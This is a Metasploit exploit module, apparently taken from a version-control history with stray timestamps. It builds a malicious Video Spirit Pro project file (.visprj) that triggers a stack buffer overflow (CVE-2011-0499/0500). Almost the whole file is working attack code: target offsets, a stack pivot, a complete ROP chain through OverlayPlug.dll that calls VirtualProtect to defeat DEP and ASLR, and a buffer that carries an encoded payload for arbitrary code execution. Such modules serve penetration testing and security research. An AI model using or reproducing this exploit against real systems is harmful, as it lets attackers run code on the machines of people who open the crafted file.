2011-04-11 22:09:23 +00:00
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##
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2013-10-15 18:50:46 +00:00
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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2011-04-11 22:09:23 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'VeryTools Video Spirit Pro <= 1.70',
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'Description' => %q{
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This module exploits a stack buffer overflow in Video Spirit <= 1.70.
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When opening a malicious project file (.visprj), a stack buffer overflow occurs,
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resulting in arbitrary code execution.
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This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Acidgen', #found the vulnerability
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'corelanc0d3r <peter.ve[at]corelan.be>', #rop exploit + msf module
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],
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'References' =>
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[
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[ 'CVE', '2011-0499'],
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[ 'CVE', '2011-0500'],
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[ 'OSVDB', '70619'],
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[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-001' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800, #0x320 bytes - avoid marking wrong page as RWX
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'BadChars' => "\x00\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x26\x27\x2f\x3c\x3e",
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass',
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{
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'OffSet' => 168,
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'OffSetToRop' => 952,
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'Ret' => 0x1006CC10, #overlayplug.dll stackpivot bad char friendly
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 11 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'VideoSpirit project name.', 'msf.visprj']),
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], self.class)
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end
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def junk
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return rand_text_alphanumeric(4).unpack("L")[0].to_i
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end
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def exploit
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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header = %Q|
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2011-04-11 22:09:23 +00:00
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<version value="1" />
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<track>
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<type value="0" />
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<type value="4" />
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<type value="2" />
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<type value="1" />
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<type value="7" />
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</track>
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<track0 />
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<track1 />
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<track2 />
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<track3 />
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<track4 />
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<clip />
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<output typename="AVI" keepaspect="0" presetquality="0">
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<type0 enable="1">
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2013-08-30 21:28:54 +00:00
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footer = %Q|
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2011-04-11 22:09:23 +00:00
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<valitem name="320*240(4:3)" value="320*240" />
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<valitem name="30" value="30" />
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<valitem name="16000k" value="16000k" />
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</type0>
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<type1 enable="1">
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<valitem name="mp3" value="libmp3lame" />
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<valitem name="128k" value="128k" />
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<valitem name="44100" value="44100" />
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<valitem name="2 (Stereo)" value="2" />
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</type1>
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<type2 enable="0" />
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</output>
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2013-08-30 21:28:54 +00:00
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print_status("Preparing payload")
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pivot = [target.ret].pack('V')
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rop_gadgets =
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[
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# one non-ASLR module is enough for generic ASLR & DEP bypass !
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# pvefindaddr rop 'n roll
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# First, grab VirtualProtect ptr
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0x10065292, # POP EAX # RETN [OverlayPlug.dll]
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0x106F4244, # IAT entry + offsqet (bad char friendly)
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0x10019762, # POP EBP # RETN [OverlayPlug.dll]
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0xEFEFEFF0, # bye bye offset
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0x10084977, # ADD EBP,EAX # RETN [OverlayPlug.dll]
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0x100684B8, # MOV EAX,EBP # POP ESI # POP EBP # POP EBX # RETN [OverlayPlug.dll]
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junk,
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junk,
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junk,
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0x1005E114, # MOV EAX,DWORD PTR DS:[EAX] # RETN [OverlayPlug.dll]
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0x10016A56, # XCHG EAX,ESI [OverlayPlug.dll]
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# set size
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0x100A9274, # POP EAX # RETN [OverlayPlug.dll]
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0x10101330, # 0x320 bytes - change this if needed, but don't make it too big :)
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0x10019762, # POP EBP # RETN [OverlayPlug.dll]
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0xEFEFEFF0, # boo
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0x10084977, # ADD EBP,EAX # RETN [OverlayPlug.dll]
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0x10053E4C, # XCHG EAX,EBP # RETN [OverlayPlug.dll]
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0x10066D8C, # PUSH EAX # ADD AL,5D # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,50 # RETN 10 [OverlayPlug.dll]
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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# set NewProtect to 0x40
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0x100E3D4A, # XOR EAX,EAX # XOR EDX,EDX # RETN [OverlayPlug.dll]
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junk,
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junk,
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junk,
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junk,
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0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
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junk,
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0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
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junk,
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junk,
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0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
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junk,
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junk,
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0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
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junk,
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junk,
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0x10030C8B, # ADD DL,AL # ADD AL,0 # MOV EAX,EDX # RETN 4 [OverlayPlug.dll]
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junk,
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# write pOldProtect to .data section
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0x1001AB51, # POP ECX # RETN [OverlayPlug.dll]
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junk,
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0x10117030, # RW
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# EDI : ROP NOP
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0x10057090, # POP EDI # RETN [OverlayPlug.dll]
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0x10057091, # ROP NOP
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# pReturn2Payload
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0x100BC8E8, # PUSH ESP # MOV EAX,ESI # POP ESI # RETN [OverlayPlug.dll]
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0x10016A56, # XCHG EAX,ESI # RETN [OverlayPlug.dll]
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0x1003C946, # ADD EAX,0A # RETN [OverlayPlug.dll]
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1003C946,
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0x1001FDBD, # XCHG EAX,EBP # RETN [OverlayPlug.dll]
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0x100A9274, # POP EAX # RETN [OverlayPlug.dll]
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0x41414141,
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# go
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0x10066F84, # PUSHAD # RETN [OverlayPlug.dll]
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].pack("V*")
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buffer = "<valitem name="
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buffer << '"'
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buffer << rand_text_alphanumeric((target['OffSet']))
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buffer << rand_text_alphanumeric(4) #nseh
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buffer << pivot
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buffer << rand_text_alphanumeric((target['OffSetToRop']))
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buffer << "\x91\x70\x05\x10" * 10 #rop nop, offset Win7
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buffer << rop_gadgets
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buffer << make_nops(150)
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buffer << payload.encoded
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buffer << rand_text_alphanumeric(4000)
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buffer << '"'
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buffer << ' value="msmpeg4v2"'
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buffer << "/>"
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buffer << "\n"
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filecontent = header + buffer + footer
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print_status("Writing payload to file")
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file_create(filecontent)
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end
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2011-04-11 22:09:23 +00:00
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end
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